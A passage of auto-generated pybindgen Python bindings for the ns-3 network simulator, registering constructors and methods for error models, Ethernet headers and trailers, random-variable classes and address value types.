## random-variable-stream.h (module 'core'): uint32_t ns3::ErlangRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3ErrorModel_methods(root_module, cls):
## error-model.h (module 'network'): ns3::ErrorModel::ErrorModel(ns3::ErrorModel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ErrorModel const &', 'arg0')])
## error-model.h (module 'network'): ns3::ErrorModel::ErrorModel() [constructor]
cls.add_constructor([])
## error-model.h (module 'network'): void ns3::ErrorModel::Disable() [member function]
cls.add_method('Disable',
'void',
[])
## error-model.h (module 'network'): void ns3::ErrorModel::Enable() [member function]
cls.add_method('Enable',
'void',
[])
## error-model.h (module 'network'): static ns3::TypeId ns3::ErrorModel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## error-model.h (module 'network'): bool ns3::ErrorModel::IsCorrupt(ns3::Ptr<ns3::Packet> pkt) [member function]
cls.add_method('IsCorrupt',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'pkt')])
## error-model.h (module 'network'): bool ns3::ErrorModel::IsEnabled() const [member function]
cls.add_method('IsEnabled',
'bool',
[],
is_const=True)
## error-model.h (module 'network'): void ns3::ErrorModel::Reset() [member function]
cls.add_method('Reset',
'void',
[])
## error-model.h (module 'network'): bool ns3::ErrorModel::DoCorrupt(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorrupt',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## error-model.h (module 'network'): void ns3::ErrorModel::DoReset() [member function]
cls.add_method('DoReset',
'void',
[],
is_pure_virtual=True, visibility='private', is_virtual=True)
return
def register_Ns3EthernetHeader_methods(root_module, cls):
## ethernet-header.h (module 'network'): ns3::EthernetHeader::EthernetHeader(ns3::EthernetHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EthernetHeader const &', 'arg0')])
## ethernet-header.h (module 'network'): ns3::EthernetHeader::EthernetHeader(bool hasPreamble) [constructor]
cls.add_constructor([param('bool', 'hasPreamble')])
## ethernet-header.h (module 'network'): ns3::EthernetHeader::EthernetHeader() [constructor]
cls.add_constructor([])
## ethernet-header.h (module 'network'): uint32_t ns3::EthernetHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ethernet-header.h (module 'network'): ns3::Mac48Address ns3::EthernetHeader::GetDestination() const [member function]
cls.add_method('GetDestination',
'ns3::Mac48Address',
[],
is_const=True)
## ethernet-header.h (module 'network'): uint32_t ns3::EthernetHeader::GetHeaderSize() const [member function]
cls.add_method('GetHeaderSize',
'uint32_t',
[],
is_const=True)
## ethernet-header.h (module 'network'): ns3::TypeId ns3::EthernetHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ethernet-header.h (module 'network'): uint16_t ns3::EthernetHeader::GetLengthType() const [member function]
cls.add_method('GetLengthType',
'uint16_t',
[],
is_const=True)
## ethernet-header.h (module 'network'): ns3::ethernet_header_t ns3::EthernetHeader::GetPacketType() const [member function]
cls.add_method('GetPacketType',
'ns3::ethernet_header_t',
[],
is_const=True)
## ethernet-header.h (module 'network'): uint64_t ns3::EthernetHeader::GetPreambleSfd() const [member function]
cls.add_method('GetPreambleSfd',
'uint64_t',
[],
is_const=True)
## ethernet-header.h (module 'network'): uint32_t ns3::EthernetHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ethernet-header.h (module 'network'): ns3::Mac48Address ns3::EthernetHeader::GetSource() const [member function]
cls.add_method('GetSource',
'ns3::Mac48Address',
[],
is_const=True)
## ethernet-header.h (module 'network'): static ns3::TypeId ns3::EthernetHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ethernet-header.h (module 'network'): void ns3::EthernetHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ethernet-header.h (module 'network'): void ns3::EthernetHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ethernet-header.h (module 'network'): void ns3::EthernetHeader::SetDestination(ns3::Mac48Address destination) [member function]
cls.add_method('SetDestination',
'void',
[param('ns3::Mac48Address', 'destination')])
## ethernet-header.h (module 'network'): void ns3::EthernetHeader::SetLengthType(uint16_t size) [member function]
cls.add_method('SetLengthType',
'void',
[param('uint16_t', 'size')])
## ethernet-header.h (module 'network'): void ns3::EthernetHeader::SetPreambleSfd(uint64_t preambleSfd) [member function]
cls.add_method('SetPreambleSfd',
'void',
[param('uint64_t', 'preambleSfd')])
## ethernet-header.h (module 'network'): void ns3::EthernetHeader::SetSource(ns3::Mac48Address source) [member function]
cls.add_method('SetSource',
'void',
[param('ns3::Mac48Address', 'source')])
return
def register_Ns3EthernetTrailer_methods(root_module, cls):
## ethernet-trailer.h (module 'network'): ns3::EthernetTrailer::EthernetTrailer(ns3::EthernetTrailer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EthernetTrailer const &', 'arg0')])
## ethernet-trailer.h (module 'network'): ns3::EthernetTrailer::EthernetTrailer() [constructor]
cls.add_constructor([])
## ethernet-trailer.h (module 'network'): void ns3::EthernetTrailer::CalcFcs(ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('CalcFcs',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'p')])
## ethernet-trailer.h (module 'network'): bool ns3::EthernetTrailer::CheckFcs(ns3::Ptr<ns3::Packet const> p) const [member function]
cls.add_method('CheckFcs',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p')],
is_const=True)
## ethernet-trailer.h (module 'network'): uint32_t ns3::EthernetTrailer::Deserialize(ns3::Buffer::Iterator end) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'end')],
is_virtual=True)
## ethernet-trailer.h (module 'network'): void ns3::EthernetTrailer::EnableFcs(bool enable) [member function]
cls.add_method('EnableFcs',
'void',
[param('bool', 'enable')])
## ethernet-trailer.h (module 'network'): uint32_t ns3::EthernetTrailer::GetFcs() const [member function]
cls.add_method('GetFcs',
'uint32_t',
[],
is_const=True)
## ethernet-trailer.h (module 'network'): ns3::TypeId ns3::EthernetTrailer::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ethernet-trailer.h (module 'network'): uint32_t ns3::EthernetTrailer::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ethernet-trailer.h (module 'network'): uint32_t ns3::EthernetTrailer::GetTrailerSize() const [member function]
cls.add_method('GetTrailerSize',
'uint32_t',
[],
is_const=True)
## ethernet-trailer.h (module 'network'): static ns3::TypeId ns3::EthernetTrailer::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ethernet-trailer.h (module 'network'): void ns3::EthernetTrailer::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ethernet-trailer.h (module 'network'): void ns3::EthernetTrailer::Serialize(ns3::Buffer::Iterator end) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'end')],
is_const=True, is_virtual=True)
## ethernet-trailer.h (module 'network'): void ns3::EthernetTrailer::SetFcs(uint32_t fcs) [member function]
cls.add_method('SetFcs',
'void',
[param('uint32_t', 'fcs')])
return
def register_Ns3EventImpl_methods(root_module, cls):
## event-impl.h (module 'core'): ns3::EventImpl::EventImpl(ns3::EventImpl const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EventImpl const &', 'arg0')])
## event-impl.h (module 'core'): ns3::EventImpl::EventImpl() [constructor]
cls.add_constructor([])
## event-impl.h (module 'core'): void ns3::EventImpl::Cancel() [member function]
cls.add_method('Cancel',
'void',
[])
## event-impl.h (module 'core'): void ns3::EventImpl::Invoke() [member function]
cls.add_method('Invoke',
'void',
[])
## event-impl.h (module 'core'): bool ns3::EventImpl::IsCancelled() [member function]
cls.add_method('IsCancelled',
'bool',
[])
## event-impl.h (module 'core'): void ns3::EventImpl::Notify() [member function]
cls.add_method('Notify',
'void',
[],
is_pure_virtual=True, visibility='protected', is_virtual=True)
return
def register_Ns3ExponentialRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::ExponentialRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::ExponentialRandomVariable::ExponentialRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::ExponentialRandomVariable::GetMean() const [member function]
cls.add_method('GetMean',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ExponentialRandomVariable::GetBound() const [member function]
cls.add_method('GetBound',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ExponentialRandomVariable::GetValue(double mean, double bound) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'mean'), param('double', 'bound')])
## random-variable-stream.h (module 'core'): uint32_t ns3::ExponentialRandomVariable::GetInteger(uint32_t mean, uint32_t bound) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'mean'), param('uint32_t', 'bound')])
## random-variable-stream.h (module 'core'): double ns3::ExponentialRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::ExponentialRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3GammaRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::GammaRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::GammaRandomVariable::GammaRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::GammaRandomVariable::GetAlpha() const [member function]
cls.add_method('GetAlpha',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::GammaRandomVariable::GetBeta() const [member function]
cls.add_method('GetBeta',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::GammaRandomVariable::GetValue(double alpha, double beta) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'alpha'), param('double', 'beta')])
## random-variable-stream.h (module 'core'): uint32_t ns3::GammaRandomVariable::GetInteger(uint32_t alpha, uint32_t beta) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'alpha'), param('uint32_t', 'beta')])
## random-variable-stream.h (module 'core'): double ns3::GammaRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::GammaRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3IntegerValue_methods(root_module, cls):
## integer.h (module 'core'): ns3::IntegerValue::IntegerValue() [constructor]
cls.add_constructor([])
## integer.h (module 'core'): ns3::IntegerValue::IntegerValue(ns3::IntegerValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntegerValue const &', 'arg0')])
## integer.h (module 'core'): ns3::IntegerValue::IntegerValue(int64_t const & value) [constructor]
cls.add_constructor([param('int64_t const &', 'value')])
## integer.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::IntegerValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## integer.h (module 'core'): bool ns3::IntegerValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## integer.h (module 'core'): int64_t ns3::IntegerValue::Get() const [member function]
cls.add_method('Get',
'int64_t',
[],
is_const=True)
## integer.h (module 'core'): std::string ns3::IntegerValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## integer.h (module 'core'): void ns3::IntegerValue::Set(int64_t const & value) [member function]
cls.add_method('Set',
'void',
[param('int64_t const &', 'value')])
return
def register_Ns3Ipv4AddressChecker_methods(root_module, cls):
## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker::Ipv4AddressChecker() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker::Ipv4AddressChecker(ns3::Ipv4AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4AddressChecker const &', 'arg0')])
return
def register_Ns3Ipv4AddressValue_methods(root_module, cls):
## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue(ns3::Ipv4AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4AddressValue const &', 'arg0')])
## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue(ns3::Ipv4Address const & value) [constructor]
cls.add_constructor([param('ns3::Ipv4Address const &', 'value')])
## ipv4-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv4AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-address.h (module 'network'): std::string ns3::Ipv4AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4AddressValue::Set(ns3::Ipv4Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Ipv4Address const &', 'value')])
return
def register_Ns3Ipv4MaskChecker_methods(root_module, cls):
## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker::Ipv4MaskChecker() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker::Ipv4MaskChecker(ns3::Ipv4MaskChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4MaskChecker const &', 'arg0')])
return
def register_Ns3Ipv4MaskValue_methods(root_module, cls):
## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue(ns3::Ipv4MaskValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4MaskValue const &', 'arg0')])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue(ns3::Ipv4Mask const & value) [constructor]
cls.add_constructor([param('ns3::Ipv4Mask const &', 'value')])
## ipv4-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv4MaskValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4MaskValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## ipv4-address.h (module 'network'): ns3::Ipv4Mask ns3::Ipv4MaskValue::Get() const [member function]
cls.add_method('Get',
'ns3::Ipv4Mask',
[],
is_const=True)
## ipv4-address.h (module 'network'): std::string ns3::Ipv4MaskValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4MaskValue::Set(ns3::Ipv4Mask const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Ipv4Mask const &', 'value')])
return
def register_Ns3Ipv6AddressChecker_methods(root_module, cls):
## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker::Ipv6AddressChecker() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker::Ipv6AddressChecker(ns3::Ipv6AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6AddressChecker const &', 'arg0')])
return
def register_Ns3Ipv6AddressValue_methods(root_module, cls):
## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue(ns3::Ipv6AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6AddressValue const &', 'arg0')])
## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue(ns3::Ipv6Address const & value) [constructor]
cls.add_constructor([param('ns3::Ipv6Address const &', 'value')])
## ipv6-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv6AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-address.h (module 'network'): std::string ns3::Ipv6AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6AddressValue::Set(ns3::Ipv6Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Ipv6Address const &', 'value')])
return
def register_Ns3Ipv6PrefixChecker_methods(root_module, cls):
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker::Ipv6PrefixChecker() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker::Ipv6PrefixChecker(ns3::Ipv6PrefixChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6PrefixChecker const &', 'arg0')])
return
def register_Ns3Ipv6PrefixValue_methods(root_module, cls):
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue(ns3::Ipv6PrefixValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6PrefixValue const &', 'arg0')])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue(ns3::Ipv6Prefix const & value) [constructor]
cls.add_constructor([param('ns3::Ipv6Prefix const &', 'value')])
## ipv6-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv6PrefixValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6PrefixValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix ns3::Ipv6PrefixValue::Get() const [member function]
cls.add_method('Get',
'ns3::Ipv6Prefix',
[],
is_const=True)
## ipv6-address.h (module 'network'): std::string ns3::Ipv6PrefixValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6PrefixValue::Set(ns3::Ipv6Prefix const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Ipv6Prefix const &', 'value')])
return
def register_Ns3ListErrorModel_methods(root_module, cls):
## error-model.h (module 'network'): ns3::ListErrorModel::ListErrorModel(ns3::ListErrorModel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ListErrorModel const &', 'arg0')])
## error-model.h (module 'network'): ns3::ListErrorModel::ListErrorModel() [constructor]
cls.add_constructor([])
## error-model.h (module 'network'): std::list<unsigned int, std::allocator<unsigned int> > ns3::ListErrorModel::GetList() const [member function]
cls.add_method('GetList',
'std::list< unsigned int >',
[],
is_const=True)
## error-model.h (module 'network'): static ns3::TypeId ns3::ListErrorModel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## error-model.h (module 'network'): void ns3::ListErrorModel::SetList(std::list<unsigned int, std::allocator<unsigned int> > const & packetlist) [member function]
cls.add_method('SetList',
'void',
[param('std::list< unsigned int > const &', 'packetlist')])
## error-model.h (module 'network'): bool ns3::ListErrorModel::DoCorrupt(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('DoCorrupt',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p')],
visibility='private', is_virtual=True)
## error-model.h (module 'network'): void ns3::ListErrorModel::DoReset() [member function]
cls.add_method('DoReset',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3LogNormalRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::LogNormalRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::LogNormalRandomVariable::LogNormalRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::LogNormalRandomVariable::GetMu() const [member function]
cls.add_method('GetMu',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::LogNormalRandomVariable::GetSigma() const [member function]
cls.add_method('GetSigma',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::LogNormalRandomVariable::GetValue(double mu, double sigma) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'mu'), param('double', 'sigma')])
## random-variable-stream.h (module 'core'): uint32_t ns3::LogNormalRandomVariable::GetInteger(uint32_t mu, uint32_t sigma) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'mu'), param('uint32_t', 'sigma')])
## random-variable-stream.h (module 'core'): double ns3::LogNormalRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::LogNormalRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3Mac16AddressChecker_methods(root_module, cls):
## mac16-address.h (module 'network'): ns3::Mac16AddressChecker::Mac16AddressChecker() [constructor]
cls.add_constructor([])
## mac16-address.h (module 'network'): ns3::Mac16AddressChecker::Mac16AddressChecker(ns3::Mac16AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac16AddressChecker const &', 'arg0')])
return
def register_Ns3Mac16AddressValue_methods(root_module, cls):
## mac16-address.h (module 'network'): ns3::Mac16AddressValue::Mac16AddressValue() [constructor]
cls.add_constructor([])
## mac16-address.h (module 'network'): ns3::Mac16AddressValue::Mac16AddressValue(ns3::Mac16AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac16AddressValue const &', 'arg0')])
## mac16-address.h (module 'network'): ns3::Mac16AddressValue::Mac16AddressValue(ns3::Mac16Address const & value) [constructor]
cls.add_constructor([param('ns3::Mac16Address const &', 'value')])
## mac16-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Mac16AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## mac16-address.h (module 'network'): bool ns3::Mac16AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## mac16-address.h (module 'network'): ns3::Mac16Address ns3::Mac16AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Mac16Address',
[],
is_const=True)
## mac16-address.h (module 'network'): std::string ns3::Mac16AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## mac16-address.h (module 'network'): void ns3::Mac16AddressValue::Set(ns3::Mac16Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Mac16Address const &', 'value')])
return
def register_Ns3Mac48AddressChecker_methods(root_module, cls):
## mac48-address.h (module 'network'): ns3::Mac48AddressChecker::Mac48AddressChecker() [constructor]
cls.add_constructor([])
## mac48-address.h (module 'network'): ns3::Mac48AddressChecker::Mac48AddressChecker(ns3::Mac48AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac48AddressChecker const &', 'arg0')])
return
def register_Ns3Mac48AddressValue_methods(root_module, cls):
## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue() [constructor]
cls.add_constructor([])
## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue(ns3::Mac48AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac48AddressValue const &', 'arg0')])
## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue(ns3::Mac48Address const & value) [constructor]
cls.add_constructor([param('ns3::Mac48Address const &', 'value')])
## mac48-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Mac48AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## mac48-address.h (module 'network'): bool ns3::Mac48AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## mac48-address.h (module 'network'): ns3::Mac48Address ns3::Mac48AddressValue::Get() const [member function]
cls.add_method('Get',
'ns3::Mac48Address',
[],
is_const=True)
## mac48-address.h (module 'network'): std::string ns3::Mac48AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## mac48-address.h (module 'network'): void ns3::Mac48AddressValue::Set(ns3::Mac48Address const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Mac48Address const &', 'value')])
return
def register_Ns3Mac64AddressChecker_methods(root_module, cls):
## mac64-address.h (module 'network'): ns3::Mac64AddressChecker::Mac64AddressChecker() [constructor]
cls.add_constructor([])
## mac64-address.h (module 'network'): ns3::Mac64AddressChecker::Mac64AddressChecker(ns3::Mac64AddressChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac64AddressChecker const &', 'arg0')])
return
def register_Ns3Mac64AddressValue_methods(root_module, cls):
## mac64-address.h (module 'network'): ns3::Mac64AddressValue::Mac64AddressValue() [constructor]
cls.add_constructor([])
## mac64-address.h (module 'network'): ns3::Mac64AddressValue::Mac64AddressValue(ns3::Mac64AddressValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac64AddressValue const &', 'arg0')])
## mac64-address.h (module 'network'): ns3::Mac64AddressValue::Mac64AddressValue(ns3::Mac64Address const & value) [constructor]
cls.add_constructor([param('ns3::Mac64Address const &', 'value')])
## mac64-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Mac64AddressValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## mac64-address.h (module 'network'): bool ns3::Mac64AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
